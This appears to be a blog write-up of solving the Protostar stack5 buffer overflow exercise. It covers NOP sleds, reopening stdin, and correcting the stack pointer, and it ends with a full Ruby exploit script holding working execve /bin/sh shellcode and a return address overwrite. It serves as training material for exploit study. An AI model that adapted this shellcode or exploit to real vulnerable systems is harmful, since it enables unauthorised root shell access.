After a lot of effort spend on trying to exploit this simple program (http://www.exploit-exercises.com/protostar/stack5) I've finally executed root shell.
Here are some difficulties that I have encountered:
Firstly, I found it quite irritating to get "Illegal instruction" error while executing shellcode. This was because addresses that work for gdb debugging do not work for simple execution. The thing is the return address that is being overwritten may change between debugging and ordinary execution. So if you have perfectly working shellcode in gdb, this won't necessarily lead to obtaining shell. So try to use more NOP (0x90) instructions before your shellcode to build a NOP sled that will increase probability to jump to the right position.
Secondly, even though you may successfully jump to your shellcode, you may not get an access to shell. This can be because of gets() function exhaust standard input(or maybe for other reason) and therefore input should be reopened to get your shell commands. If you won't reopen stdin, execve system call will successfully finish but shell won't come up. This problem is true for gdb too. You will simply get something like "process .... is executing new program: /bin/dash ... Program exited normally.". If that is the case you should reopen stdin in your shellcode.
Thirdly, it is just a shellcode mistake that you may encounter as well. While I was trying to execute this shellcode http://www.exploit-db.com/exploits/13357/ . I got Illegal instruction error couple of times. After debugging it I found that part of shellcode is being overwritten while executed. This is due to the use of stack. Since $esp register is growing to the lowest adresses and shellcode buffer is located lower in memory, push instrictions overwrite some memory. In order to solve this problem I've simply changed $esp prior to shellcode buffer. (mov $esp, 0xbffff7d0 in my case).
Also, length of the executable name is crucial because it affects the address.
Ruby code that exploited this exercise:
Ruby code that exploited this exercise:
#!/usr/bin/ruby1.9.1 reopen_shell = "\xbc\xd0\xf7\xff\xbf\x31\xc0\x31\xdb\xb0\x6\xcd\x80\x53\x68\x2f\x74\x74\x79\x68\x2f\x64\x65\x76\x89\xe3\x31\xc9\x66\xb9\x2\x27\xb0\x5\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\xb\xcd\x80" shell = reopen_shell puts " Len: #{shell.length}" len_to_ret = 64 + 4 if ARGV.length > 0 ret_addr = ARGV[0] else ret_addr = "\xf0\xf7\xff\xbf" end str = shell.rjust(len_to_ret,"\x90") + (ret_addr * 10) puts str puts str.unpack("H*")[0].scan(/.{2}/).map {|p| "\\x" + p}.join File.open("stack5.hex","wb") {|f| f.write str} `/opt/protostar/bin/stack5 < stack5.hex`
Script in work (It's a pity but nothing is getting printed to the stdout for some reason, so i redirected to /tmp/whoami):
No comments:
Post a Comment